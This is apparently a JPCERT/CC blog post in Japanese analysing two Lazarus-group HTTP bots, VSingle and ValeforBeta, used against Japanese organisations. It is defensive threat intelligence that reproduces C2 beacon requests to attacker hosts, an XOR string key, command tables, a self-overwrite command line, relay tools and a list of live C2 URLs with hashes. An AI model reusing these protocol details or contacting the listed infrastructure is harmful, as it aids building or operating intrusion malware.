日本の組織を狙った攻撃グループLazarusによる攻撃オペレーション

これまでJPCERT/CC Eyesでは、攻撃グループLazarus(Hidden Cobraとも言われる)が攻撃時に使用するマルウェアやツールを、数回に分けて紹介してきましたが、この攻撃グループによる攻撃オペレーションは他にも確認されています。今回は、国内で確認した攻撃グループLazarusの攻撃オペレーションで使用されたマルウェア(VSingle、ValeforBeta)、および侵入したネットワーク内部で使用したツールを紹介します。

VSingleの概要

VSingleは、リモートから任意のコードを実行する機能を持ったHTTPボットです。このマルウェアは、その他にプラグインをダウンロードして実行する機能なども持っています。
このマルウェアは起動後、Explorerを実行し、通信などを行うメインのコードをDLLインジェクションしたうえで、実行します(DLLインジェクションを行わない検体も確認されています)。なお、メインコード内には、以下のPDBパスが含まれていることを確認しています。

G:\Valefor\Valefor_Single\Release\VSingle.pdb

以降では、VSingleの文字列難読化、通信方式および機能について記載します。

VSingleの文字列難読化

VSingleは、検体内で使用する文字列の多くを難読化しています。図1は、文字列難読化を解除するコードです。固定のキー(o2pq0qy4ymcrbe4s)を使用して、XORによって難読化された文字列をデコードします。

VSingleの文字列の難読化を解除するコード
図1: VSingleの文字列の難読化を解除するコード

以下に、難読化解除後の文字列の一部を示します。

[+] Download Parameter Error
[+] Download Result 
[+] Upload Result 
[+] Upload Parameter Error
[+] Interval
    Interval was set to 
[+] Plugin Download Result 
[+] Update
[+] Info
[+] Uninstall
    Valefor was uninstalled successfully.
[+] Executable Download Result 
[+] Executable Download Parameter Error
ufw=%s&uis=%u
cmd.exe /c %s
[%02d-%02d-%04d %02d:%02d:%02d]
[+] Plugin Execute Result

VSingleのC2サーバーとの通信

以下は、VSingleが初めに送信するHTTP GETリクエストの例です。

GET /polo/[Unix time]/[ランダムな文字列].php?ufw=[Base64データ]&uis=[ユニークID] HTTP/1.1
Host: maturicafe.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Accept: text/html3,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

[Base64データ]には、"[IPアドレス]|[Windowsバージョン番号]|[バージョン]"をBase64エンコードしたデータが含まれています。このリクエストのレスポンスとしてサーバーからは、AES暗号化されたデータがダウンロードされます。暗号化に使用された暗号化キーは、サーバーからのレスポンスのSet-Cookieヘッダーに指定されています。レスポンスデータ内には、コマンドが含まれています。
なお、VSingleは認証プロキシ(Basic認証)にも対応しており、マルウェア内にプロキシ情報が設定されている場合は、以下のような通信を行い、プロキシ環境下でも外部と通信を行うことができます。

GET https://maturicafe.com/polo/[Unix time]/[ランダムな文字列].php?ufw=[Base64データ]&uis=[ユニークID] HTTP/1.1
Host: maturicafe.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
Proxy-Connection: keep-alive
Proxy-Authorization: Basic [認証情報]
Pragma: no-cache
Cache-Control: no-cache

VSingleの機能

VSingleの機能はシンプルで、表1のとおり8つしかありません。

表 1: VSingleのコマンド一覧
コマンド番号 内容
1 ファイルのアップロード
2 通信インターバルの設定
3 任意のシェルコマンド実行
4 プラグインのダウンロード・実行
5 アップデート
6 マルウェア情報送信
7 アンインストール
8 ファイルのダウンロード

実行可能なプラグインは、以下の4種類あります。

  • Windows実行ファイル(.tmpファイルとして保存される)
  • VBSファイル(.vbsファイルとして保存される)
  • BATファイル(.batファイルとして保存される)
  • シェルコード形式

図2にプラグインを実行するコードの一部を示します。

VSingleのプラグインを実行するコードの一部
図2: VSingleのプラグインを実行するコードの一部

シェルコード形式のプラグインに関しては、メモリ上で展開し、実行されます。それ以外のプラグインは、%TEMP%フォルダーに一時的に保存されて実行されます。なお、シェルコード形式のプラグインに関しても、一時ファイルとして%TEMP%フォルダーに保存されます。
マルウェア情報送信コマンド(コマンド番号6)の際には、図3のような情報が送信されます。バーション情報には、1.0.1以外にも4.1.1や3.0.1などが使用された検体も確認しており、マルウェアのバージョンではなく、何らかの検体識別子の可能性があります。

マルウェア情報送信コマンドで送信される情報の例
図3: マルウェア情報送信コマンドで送信される情報の例

ValeforBetaの概要

ValeforBetaは、Delphiで作成されたHTTPボットで、VSingleよりもさらに機能を削減されており、リモートから任意のコードを実行する機能以外には、ファイルのアップロード・ダウンロードの機能くらいしかありません。
以降では、ValeforBetaの設定情報、通信方式および機能について記載します。

ValeforBetaの設定情報

図4は、ValeforBetaの設定情報をロードするコードです。設定情報には、通信先以外にも、検体ID(図4の"512")や通信タイプ、通信のインターバルなどが含まれています。

ValeforBetaの設定情報
図4: ValeforBetaの設定情報

通信タイプは、以下の3種類存在します。

  • ダイレクト接続(INTERNET_OPEN_TYPE_DIRECT)
  • 既定の設定を使用(INTERNET_OPEN_TYPE_PRECONFIG)
  • プロキシ経由で接続(INTERNET_OPEN_TYPE_PROXY)

ValeforBetaのC2サーバーとの通信

以下は、ValeforBetaが初めに送信するHTTP POSTリクエストの例です。

POST /doc/total.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=[Base64 データ]
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)
Host: 3.90.97.16
Content-Length: 0
Proxy-Connection: Keep-Alive
Pragma: no-cache

HTTP POSTリクエストではありますが、初めに送信するHTTP POSTリクエストに、送信データは含まれていません。Cookieヘッダーの、"JSESSIONID=" 以降のBase64エンコードされたデータには、感染ホストの情報が含まれています。以下が、Base64エンコードされたデータのフォーマットです。

[8文字のランダムな文字][データ][ランダムな文字(4~12文字)]

[データ]には、マルウェアのバージョン情報や感染ホストのIPアドレスなどが含まれています(詳しくは、Appendix Aをご覧ください(リクエストタイプ"0"))。このHTTP POSTリクエストに対して、サーバーから"200 OK"が返ってきた場合、次のリクエストを送信します(リクエストタイプ"1")。
サーバーからは、その後、コマンドを含むデータが送信されます。コマンド実行結果は、HTTP POSTデータとして送信されますが、BMPファイルの送信に偽装しながら送信されます。図5は、コマンド実行結果を送信するコードの一部です。

ValeforBetaのコマンド実行結果を送信するコード
図5:ValeforBetaのコマンド実行結果を送信するコード

ValeforBetaの機能

ValeforBetaの機能は、表2のとおり6つしかありません。

表 2: ValeforBetaのコマンド一覧
コマンド番号 内容
1 ファイルのダウンロード
2 ファイルのアップロード
3 任意のシェルコマンド実行
4 アンインストール(cmd /c ping -n 4 127.0.0.1 >NUL & echo VFB > "自ファイル名" を実行)
6 Sleep Timeの設定
7 システム情報の送信

コマンド実行結果については、XORエンコードした上で送信されます。図6は、"システム情報の送信" コマンドを実行した際に送信されたデータをデコードした例です。

ValeforBetaの送信データの例
図6: ValeforBetaの送信データの例

ネットワーク内部で使用するツール

この攻撃オペレーションでは、以下のツールを使用していることを確認しています。攻撃者は、感染ホスト上で、通信の中継を行うために、以下のようなツール使用していました。

  • 3Proxy
  • Stunnel
  • Plink

おわりに

今回は、攻撃グループLazarusが日本をターゲットとした攻撃オペレーション時に使用したマルウェアおよびツールについて紹介しました。新たなマルウェアが確認された際は、レポートしたいと思います。 なお、今回解説した検体の通信先に関しては、Appendix Bに記載していますので、アクセスしている端末がないかご確認ください。

インシデントレスポンスグループ 朝長 秀誠

Appendix A: 設定情報

表 A: 送信データのフォーマット
オフセット 長さ 内容
0x00 1 リクエストタイプ
(0: クライアントデータ送信、1: コマンドリクエスト、2: コマンド実行結果送信)
0x01 4 クライアントID(ホスト名、ユーザー名、OSインストール日時、MACアドレスの値から作成した値)
0x05 3 マルウェアバージョン
0x08 4 IPアドレス
0x0C 3 OSバージョン

※ 0x05以降のデータは、XORエンコードされており、リクエストタイプ"0"の場合のみ追加される。

Appendix B: 通信先

  • http://aquagoat.com/customer
  • http://blacktiger.com/input
  • http://bluedog.com/submit
  • http://coraltiger.com/search
  • http://goldtiger.com/find
  • http://greentiger.com/submit
  • http://industryarticleboard.com/evolution
  • http://industryarticleboard.com/view
  • http://maturicafe.com/main
  • http://purplefrog.com/remove
  • http://whitedragon.com/search
  • https://coralcameleon.com/register
  • https://industryarticleboard.com/article
  • https://maturicafe.com/polo
  • https://salmonrabbit.com/login
  • https://whitecameleon.com/find
  • https://whiterabbit.com/input
  • http://toysbagonline.com/reviews
  • http://purewatertokyo.com/list
  • http://pinkgoat.com/input
  • http://yellowlion.com/remove
  • http://salmonrabbit.com/find
  • http://bluecow.com/input
  • http://www.karin-store.com/data/config/total_manager.php
  • http://katawaku.jp/bbs/data/group/group-manager.php
  • http://3.90.97.16/doc/total.php

Appendix C: マルウェアのハッシュ値

  • 487c1bdb65634a794fa5e359c383c94945ce9f0806fcad46440e919ba0e6166e
  • eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60
≪ 前へ
トップに戻る
次へ ≫